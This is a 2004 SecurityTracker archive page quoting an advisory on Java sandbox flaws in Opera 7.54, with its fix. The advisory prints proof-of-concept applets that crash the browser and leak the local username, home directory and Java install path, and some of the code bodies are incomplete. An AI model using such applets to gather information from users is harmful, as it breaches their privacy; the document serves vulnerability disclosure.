SecurityTracker.com
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


 


Category:   Application (Web Browser)  >   Opera Vendors:   Opera Software
Opera Java Sandbox Flaws Let Malicious Applets Access System Information and Crash the Browser
SecurityTracker Alert ID:  1012279
SecurityTracker URL:  http://securitytracker.com/id/1012279
CVE Reference:   GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  Nov 19 2004
Impact:   Denial of service via network, Disclosure of system information, Disclosure of user information
Fix Available:  Yes  Vendor Confirmed:  Yes  Exploit Included:  Yes  
Version(s): 7.54; prior versions may be affected
Description:   Several vulnerabilities were reported in Opera in the Java sandbox mechanism. An applet can gain elevated privileges to access local information or cause the browser to crash.

Marc Schonefeld from illegalaccess.org reported that a remote user can create a Java applet that, when loaded by the target user, can exploit a number of flaws in the system.

It is reported that Opera's custom Java plugin has a flaw in the default Java policy configuration. The policy grants applets access to internal sun-packages:

grant {
permission java.lang.RuntimePermission "accessClassInPackage.sun.*";
};

This access may let the applet invoke potentially destructive behavior or cause crashes.

It is also reported that the JRE version included with Opera is version 1.4.2_04, which is affected by a previously reported XSLT vulnerability.

It is also reported that the EcmaScriptObject public class in 'opera.jar' allows an applet to access a system memory pointer. A malicious applet can cause the browser to crash.

It is also reported that a malicious applet can monitor the URL classpath of the bootstrap class path to determine the JDK installation directory.

It is also reported that an applet can invoke the sun.security.krb5.Credentials class to determine the name of the currently logged in user and parse the user's home directory. An exception thrown by acquireDefaultCreds may let the applet determine the underlying operating system, the location of user files, and the username of the user running the applet.

It is reported that some other similar flaws exist but were not described in the report.

The vendor was notified on September 1, 2004.

Impact:   A malicious applet can access user and system information and cause the target browser to crash.
Solution:   The vendor has released a fixed version (7.60 beta).
Vendor URL:  www.opera.com/ (Links to External Site)
Cause:   Access control error
Underlying OS:  BeOS, Linux (Any), Apple (Legacy "classic" Mac), QNX, UNIX (FreeBSD), UNIX (macOS/OS X), UNIX (Solaris - SunOS), Windows (Any)

Message History:   This archive entry has one or more follow-up message(s) listed below.
Dec 11 2004 (Vendor Issues Fix) Opera Java Sandbox Flaws Let Malicious Applets Access System Information and Crash the Browser
The vendor has issued a fix.



 Source Message Contents

Subject:  Java Vulnerabilities in Opera 7.54


-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Illegalaccess.org Advisory: Opera 7.54 Java vulnerabilities
Summary
Opera 7.54 is vulnerable to leakage of the java sandbox, allowing malicious
applets to gain unacceptable privileges. This allows them to be used for
information gathering (spying) of local identity information and system
configurations as well as causing annoying crash effects.
History
Discovery and vendor informed:  01 Sep 2004
Public Disclosure: 19 Nov 2004
Solution
Opera Software has eliminated the vulnerability in current 7.60 beta
versions. The 7.54 version can be cured by applying a patch to the file
opera.policy to achieve the same effect.
Affected Version
Opera 7.54 for all platforms, although several exploits were only tested on
win32. Prior versions may also be affected.
Problem 1: Problem with Java Policy settings
In contrast to other major browsers which use the Java Plugin, Opera uses
the JRE directly with a proprietary adapter. Opera also introduces it's own
default policy, allowing unprivileged applets access to internal
sun-packages by specifying in Opera.policy:

grant {
};
This opens the gate to some undocumented functionality and violates Sun's
guidelines for secure java programming. These lines should be commented out
to get rid of the vulnerabilities shown in the later text. An attacker could
crash the browser or do some other annoying things harmful to the user. Just
like with the following proof-of-concept to trigger a native debug
assertion:
import sun.awt.font.*;

public class Opera754FontCrashApplet extends java.applet.Applet{
javax.swing.JOptionPane.showConfirmDialog(null,"Illegalaccess.org | Step1
Opera 754 FontCrash, wanna crash? ");

}
The default java appletviewer which implements the same security mechanisms
than the Java plugin complains with the following message instead of
executing the method invocation:
java.security.AccessControlException: access denied
(java.lang.RuntimePermission
accessClassInPackage.sun.awt.font)
java.security.AccessControlContext.checkPermission(AccessControlConte
xt.java:269)
java.security.AccessController.checkPermission(AccessController.java:
401)
java.lang.SecurityManager.checkPermission(SecurityManager.java:524)
java.lang.SecurityManager.checkPackageAccess(SecurityManager.java:149
1)
sun.applet.AppletSecurity.checkPackageAccess(AppletSecurity.java:190)

Opera allows all untrusted applets access to these classes by disabling the
need to acquire a access permission for sun packages.

In general we recommend the Opera programmers to switch the opera java
architecture to the standards based approach and use the java plugin.
Problem 2:  JRE Packaging
Opera 754 which was released Aug 5,2004 is vulnerable to the XSLT processor
covert channel attack, which was corrected with JRE 1.4.2_05 [released in
July 04], but in disadvantage to the users the opera packaging guys chose to
bundle the JRE 1.4.2_04, being quite aware of the offical Sun advisory
(http://sunsolve.sun.com/pub-cgi/retrieve.pl?doc=fsalert/57613) reporting
this issue, which was released a few days earlier.
Problem 3: Internal pointer DoS exploitation:
Opera.jar contains the opera replacement of the java plugin. It therefore
handles communication between javascript and the Java VM via the liveconnect
protocol. The public class EcmaScriptObject exposes a system memory pointer
to the java address space, by constructing a special variant of this type an
internal cache table can be polluted by false entries that infer proper
function of the JSObject class and in the following proof-of-concept crash
the browser.

import netscape.javascript.*;
import com.opera.*;

public class Opera754EcmaScriptApplet extends java.applet.Applet{

}
Problem 4: Exposure of location of local java installation
Sniffing the URL classpath allows to retrieve the URLs of the bootstrap
class path and therefore the JDK installation directory. This is of course a
privilege escalation for an untrusted applet. :
import sun.misc.*;
import java.util.Enumeration;

public class Opera754LauncherApplet extends java.applet.Applet{
}
Problem 5: Exposure of local user name to an untrusted applet
An attacker could use the sun.security.krb5.Credentials class to retrieve
the name of the currently logged in user and parse his home directory from
the information which is provided by the thrown
java.security.AccessControlException .
import sun.security.krb5.*;

public class Opera754KerberosAppletPrint extends java.applet.Applet{

   public void start() {

   	int j =
javax.swing.JOptionPane.showConfirmDialog(null,"Illegalaccess.org | Step1
Opera 754 FontCrash, wanna crash? ");
   	System.out.println(j);
   	try {
   	Credentials c =  Credentials.acquireDefaultCreds();

   	System.out.println(c);
   	j =
javax.swing.JOptionPane.showConfirmDialog(null,"Illegalaccess.org |Got
something for ya"+c);

	}
	catch (Exception e) {
	j = javax.swing.JOptionPane.showConfirmDialog(null,e.toString());

	}
   }

}
The attacker may then evaluate the following exception thrown by
acquireDefaultCreds, which allows him to guess the operating system, the
location of user files as well as the name of the user running the applet.
java.security.AccessControlException: access denied (java.io.FilePermission
C:\Dokumente und Einstellungen\Marc\krb5cc_Marc read)
Solution:
For secure java browsing we recommend to use a browser (such as Firefox)
that supports the standard Java Plugin and the standard browser sandbox. For
non-java browsing Opera may be sufficient. If you decide to continue using
Opera then you are recommended to upgrade to the latest beta of Opera 7.60
or apply the following patch in the java policy file (.opera.policy.) in
your opera installation. This can be done easily by commenting out the
following grant section.
// Standard extensions get all permissions by default
[...]
//grant {
//	permission java.lang.RuntimePermission "accessClassInPackage.sun.*";
//};
Greetz:
Halvar, FX, Johnny and G0dzilla..., Anne Stavnes and Christen Krogh of Opera
Further Bugs:
These bugs are only examples for a couple more bugs that are of the same
kind.
Disclaimer:
The information in this advisory and any of its demonstrations is provided
any direct or indirect damages caused as a result of using the information
or demonstrations provided in any part of this advisory.


- --

Never be afraid to try something new. Remember, amateurs built the
ark; professionals built the Titanic. -- Anonymous

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.6 (AIX)

iD8DBQFBnievqCaQvrKNUNQRAhUUAKCAxGkyd2ijxvJ9WeHDeqmajQmndgCfT9wM
P151JR+1gltkxFhi/H+YYtM=
=TPTb
-----END PGP SIGNATURE-----

 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2019, SecurityGlobal.net LLC